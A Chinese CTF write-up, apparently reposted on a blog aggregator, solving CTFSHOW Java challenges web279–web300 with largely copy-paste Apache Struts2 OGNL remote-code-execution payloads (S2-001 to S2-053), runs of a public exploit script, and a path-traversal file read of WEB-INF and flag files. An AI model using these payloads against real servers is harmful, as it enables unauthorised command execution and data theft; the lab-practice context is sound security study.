【Web】CTFSHOW java刷题记录(全)

目录

web279

web280

web281

web282

web283

web284

web285

web286

web287

web288

​web289

web290

web291

web292

web293

web294

web295

web296

web297

web298

web299

web300


web279

题目提示

url里告诉我们是S2-001

 

直接进行一个exp的搜

S2-001漏洞分析-CSDN博客 

payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"echo FLAG"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

直接输出环境变量就行

 

web280

进行一波s2-005的搜

https://www.cnblogs.com/CabbageJun/p/15950224.html

?
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true&(aaaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023vccc')(\u0023vccc\u003dnew java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("env".split("@"))')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

 打不出来啊,只能用羽师傅的脚本了

python java-s2.py -u "http://7401770c-994f-4831-86d2-433beb8e8ae2.challenge.ctf.show/S2-005/example/HelloWorld.action" -n S2-005 --execenv

 

web281

进行一波S2-007的搜

S2-007远程代码执行复现-腾讯云开发者社区-腾讯云

 payload:

name=Z3r4y&email=0x401%40qq.com&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29+%2B+%27

web282

进行一波S2-008 devmode的搜 

https://www.cnblogs.com/cute-puli/p/16454182.html

payload:

?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()))

 

web283

题目提示

 

进行一波S2-009 showcase rce的搜

[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009_老的历史漏洞-CSDN博客

payload

/ajax/example5?name=(%23_memberAccess.allowStaticMethodAccess=true,%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23ret=@java.lang.Runtime@getRuntime().exec('env'),%23br=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(%23ret.getInputStream())),%23res=new%20char[20000],%23br.read(%23res),%23writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23writer.println(new%20java.lang.String(%23res)),%23writer.flush(),%23writer.close())&z[(name)(fuck)]

web284

进行一波S2-012的搜

S2-012 - 桃木剑的博客 | Taomujian Blog

payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

web285

进行一波S2-013的搜

S2-013 - 桃木剑的博客 | Taomujian Blog

payload:

?a=%24%7B%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

web286

 进行一波S2-015的搜

S2-015 - 桃木剑的博客 | Taomujian Blog

payload:

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream())%2C%23q%7D.action

虽然但是,找不到flag

 

web287

 进行一波S2-016的搜 

S2-016 - 桃木剑的博客 | Taomujian Blog

payload:

?redirect%3A%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B%22env%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader%20(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println%20(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D

web288

进行一波S2-019的搜  

0x26.Apache Struts2远程代码执行漏洞(S2-019)复现_#f=#_memberaccess.getclass().getdeclaredfield('all-CSDN博客

payload:

?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'env'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close()

环境变量没flag

web289

进行一波S2-029的搜  

https://iswin.org/2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

 打不通啊

直接脚本吧

python java-s2.py -u "http://d4893071-158d-4599-84a3-ebc595079145.challenge.ctf.show/S2-029/" -n S2-046 --exec

web290

 进行一波S2-032的搜  

S2-032 - 桃木剑的博客 | Taomujian Blog

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=env

web291

 进行一波S2-033的搜  

Strust2远程代码执行漏洞(S2-033)_(struts2-s2-033远程代码执行)通信异常-CSDN博客

payload:

/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=env

web292

 进行一波S2-037的搜   

CVE-2016-4438-s2-037 - Apache-Struts

payload:

/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=env

web293

 进行一波S2-045的搜   

Struts2 S2-045漏洞复现_struts2漏洞文件上传-CSDN博客

payload:

Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

先找到内容上传点

 

web294

 进行一波S2-046的搜

S2-046 - 桃木剑的博客 | Taomujian Blog

没复现起来QWQ,脚本梭吧

python java-s2.py -u "http://da7cc30f-41a4-499b-ac87-54e3c5c15989.challenge.ctf.show/S2-046/doUpload.action" -n S2-046 --execenv

web295

 进行一波S2-048的搜 

FreeBuf网络安全行业门户

payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())).(#q)}

OGNL注入点在Integration的S1插件处

不能直接读环境变量,拿个whoami意思一下(

web296

脚本梭了

python java-s2.py -u "http://55c5eb2f-37fe-4b87-9d3f-536c8b689caa.challenge.ctf.show/S2-052/orders" -n S2-046 --execenv

web297

进行一波S2-053的搜

S2-053远程命令执行漏洞复现【附Exp】 – 指尖安全

payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}

不能从环境变量里直接读FLAG

web298

题目信息

给了war包,解压得到class文件,用java反编译工具来读源码

Releases · java-decompiler/jd-gui · GitHub 

成功反编译

 再读User.class

 

发现getVipStatus只要username是admin,password是ctfshow就能返回true

结合web.xml的配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"><display-name></display-name>	<welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list><servlet><description>This is the description of my J2EE component</description><display-name>This is the display name of my J2EE component</display-name><servlet-name>login</servlet-name><servlet-class>com.ctfshow.servlet.loginServlet</servlet-class></servlet><servlet-mapping><servlet-name>login</servlet-name><url-pattern>/login</url-pattern></servlet-mapping></web-app>

payload:

/ctfshow/login?username=admin&password=ctfshow

web299

右键查看源码

发现存在一个任意文件读取

/view-source?file=index.jsp

读到index.jsp的源码

<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%>

读配置文件WEB-INF/web.xml

/view-source?file=WEB-INF/web.xml

读到源码如下

 This is the description of my J2EE component This is the display name of my J2EE component ViewSourceServlet com.ctfshow.servlet.ViewSourceServlet This is the description of my J2EE component This is the display name of my J2EE component GetFlag com.ctfshow.servlet.GetFlag ViewSourceServlet /view-source GetFlag /getFlag index.jsp 

直接访问/getFlag路径回显如下,这条路走不通

 只能直接读class文件了

/view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

/view-source?file=../../../../../../../../fl3g

 

web300

?file=../../../../../../../../f1bg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/686168.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【测试】测试用例篇

目 录 一. 设计测试用例的万能公式(六个)二.设计测试用例的具体方法1.等价类2.边界值3.因果图&#xff08;判定表&#xff09;4.场景设计法5.正交法6.错误猜测法 一. 设计测试用例的万能公式(六个) 设计测试用例的万能公式 测试用例的意义是帮助测试人员了解&#xff1a;测什…

linux 网络服务小实验

实验图和要求&#xff1a; 1&#xff09;网关服务器&#xff1a;ens36&#xff1a;12.0.0.254/24&#xff0c;ens33&#xff1a;192.168.44.254/24&#xff1b;Server1&#xff1a;192.168.44.20/24&#xff1b;PC1和Server2&#xff1a;自动获取IP&#xff1b;交换机无需配置。…

GEE:最小距离(minimumDistance)回归教程(样本点、特征添加、训练、精度、参数优化)

作者:CSDN @ _养乐多_ 对于分类问题,这个输出通常是一个类别标签 ,而对于回归问题,输出通常是一个连续的数值。回归可以应用于多种场景,包括预测土壤PH值、土壤有机碳、土壤水分、碳密度、生物量、气温、海冰厚度、不透水面积百分比、植被覆盖度等。 本文将介绍在Google…

GB/28181 2022 上联检测项

序号 检测项目 技术要求 1平台注册 (上联) 受测平台注册到视频监控联网测试软 件,并在注册到期前进行刷新注册,注册 应携带协议版本标识 宜支持注册重定向功能 2平台注销 ( 上联 ) 受测平台从视频监控联网测试软件注 销 3平台校时 (上联) 受测平台从视频监控联网测试软…

频繁跳槽 可能问题出在你的性格上

谈到跳槽&#xff0c;小伙伴们会想到什么呢&#xff1f;换工作&#xff1f;涨薪&#xff1f;你有没有想过&#xff0c;目前的工作不合适&#xff0c;除了公司的原因&#xff0c;也有可能是自己性格的原因呢&#xff1f; 频繁跳槽有哪些优势和劣势呢&#xff1f;针对这些疑问&…

2024年【A特种设备相关管理(电梯)】找解析及A特种设备相关管理(电梯)模拟考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 A特种设备相关管理&#xff08;电梯&#xff09;找解析是安全生产模拟考试一点通生成的&#xff0c;A特种设备相关管理&#xff08;电梯&#xff09;证模拟考试题库是根据A特种设备相关管理&#xff08;电梯&#xff…

【STM32 CubeMX】I2C层次结构、I2C协议

文章目录 前言一、I2C的结构层次1.1 怎样在两个设备之间传输数据1.2 I2C如何传输数据1.3 硬件框图1.4 软件层次 二、IIC协议2.1 硬件连接2.2 I2C 总线的概念2.3 传输数据类比2.3 I2C信号2.4 I2C数据的含义 总结 前言 在STM32 CubeMX环境中&#xff0c;I2C&#xff08;Inter-In…

开年炸裂-Sora/Gemini

最新人工智能消息 谷歌的新 Gemini 模型 支持多达 1M的Token&#xff0c;可以分析长达一小时的视频 1M Token可能意味着分析700,000 个单词、 30,000 行代码或11 小时的音频、总结、改写和引用内容。 Comment&#xff1a;google公司有夸大的传统&#xff0c;所以真实效果需要上…

零基础学c++(第一节)

c啊&#xff0c;说白了就是为NOI做准备也就是信息学竞赛。 最基础必用模版&#xff1a; #include <bits/stdc.h> using namespace std; int main(){} 头文件 &#xff1a; #include <bits/stdc.h> 这是头文件&#xff0c;c中有许多头文件&#xff0c; 意思就是…

剪辑思维大学习(Day6) - 视频剪辑万能结构?

目录 一、写在前面 二、思路总结 1.五种音画表现形式 1&#xff09;.音乐表现力画面 2&#xff09;.音乐日常实拍 3&#xff09;.独白旁白有表现力的画面 4&#xff09;.文字画面音乐 5&#xff09;.画面音效 2.十种剪辑结构 一、写在前面 正在学习Pr剪辑&#xff0c…

鸿蒙语言ArkTS(更好的生产力与性能)

ArkTS是鸿蒙生态的应用开发语言 ArkTS提供了声明式UI范式、状态管理支持等相应的能力&#xff0c;让开发者可以以更简洁、更自然的方式开发应用。 同时&#xff0c;它在保持TypeScript&#xff08;简称TS&#xff09;基本语法风格的基础上&#xff0c;进一步通过规范强化静态检…

qt-C++笔记之打印所有发生的事件

qt-C笔记之打印所有发生的事件 code review! 文章目录 qt-C笔记之打印所有发生的事件1.ChatGPT问答使用 QApplication 的 notify 方法使用 QObject 的 event 方法 2.使用 QObject 的 event 方法3.使用 QApplication 的 notify 方法 1.ChatGPT问答 在Qt C中&#xff0c;若要打…

老兵(11)

百度文心一格&#xff0c;大约是一年前上线并免费向用户开放的。其实也不是免费&#xff0c;而是“电量”比较好获得&#xff0c;白送的就16/每天&#xff0c;如果只是好奇玩玩的话也算够吧。 当时就很开心&#xff0c;因为一直想着把一些文案图像化&#xff0c;做成漫画的形式…

从被“大V”忽悠到自主开发投资分析系统:我在基金投资中的跌宕起伏与转变

从被“大V”忽悠到自主开发投资分析系统&#xff1a;我在基金投资中的跌宕起伏与转变 回顾我初次涉足基金投资的经历&#xff0c;那是一段由盲目跟从、亏损惨重到痛定思痛、自我提升的曲折历程。起初&#xff0c;我深受某些财经“大V”的影响&#xff0c;他们凭借看似精准的市…

算法刷题:复写零

复写零 .习题链接题目描述算法原理初始值步骤1步骤2我的答案: . 习题链接 复写零 题目描述 给你一个长度固定的整数数组 arr &#xff0c;请你将该数组中出现的每个零都复写一遍&#xff0c;并将其余的元素向右平移。 注意&#xff1a;请不要在超过该数组长度的位置写入元素…

[uniapp页面路由跳转]详细讲解uniapp中使用标签和的api完成页面跳转使用方法 代码注释

目录 一、标签跳转--- 把跳转的信息写在标签当中1. a标签2. navigator标签 二、API跳转[编程式]-----通过方法 js方式跳转1. uni.navigateTo2. uni.redirectTo3. uni.switchTab4. uni.reLaunch5. uni.navigateBack 总结 Uniapp是一款基于Vue.js的跨平台开发框架&#xff0c;允许…

LEETCODE 164. 破解闯关密码

class Solution { public:string crackPassword(vector<int>& password) {vector<string> password_str;for(int i0;i<password.size();i){password_str.push_back(to_string(password[i]));}//希尔排序int gappassword.size()/2;while(gap>0){for(int i…

c++中的模板(5) -- 类模板与继承

目录 1. 父类是类模板&#xff0c;子类不是类模板。 代码分析: 总结: 2. 父类是普通类&#xff0c;子类是类模板。 代码分析: 3. 父类和子类都是类模板 前面我们说到的类模板是在一个类中&#xff0c;分类内实现&#xff0c;类外实现和分文件写几种情况。继承是类…

Eclipse Version: 2023-03 (4.27.0) JDK19 Tomcat10.2

Eclipse Version: 2023-03 (4.27.0) JDK19 Tomcat10.2

【数据统计】A股累计分红率排行榜

这里的分红率是指上市以来累计现金分红/累计净利润(年度)。上市以来指的是从上市日的上一年的12月31日的财报开始计算。 例如&#xff0c;以贵州茅台为例&#xff0c;截至2024年2月16日&#xff0c;其2023年的年报还没有发布&#xff0c;最近的年报是2022年&#xff0c;咱们从…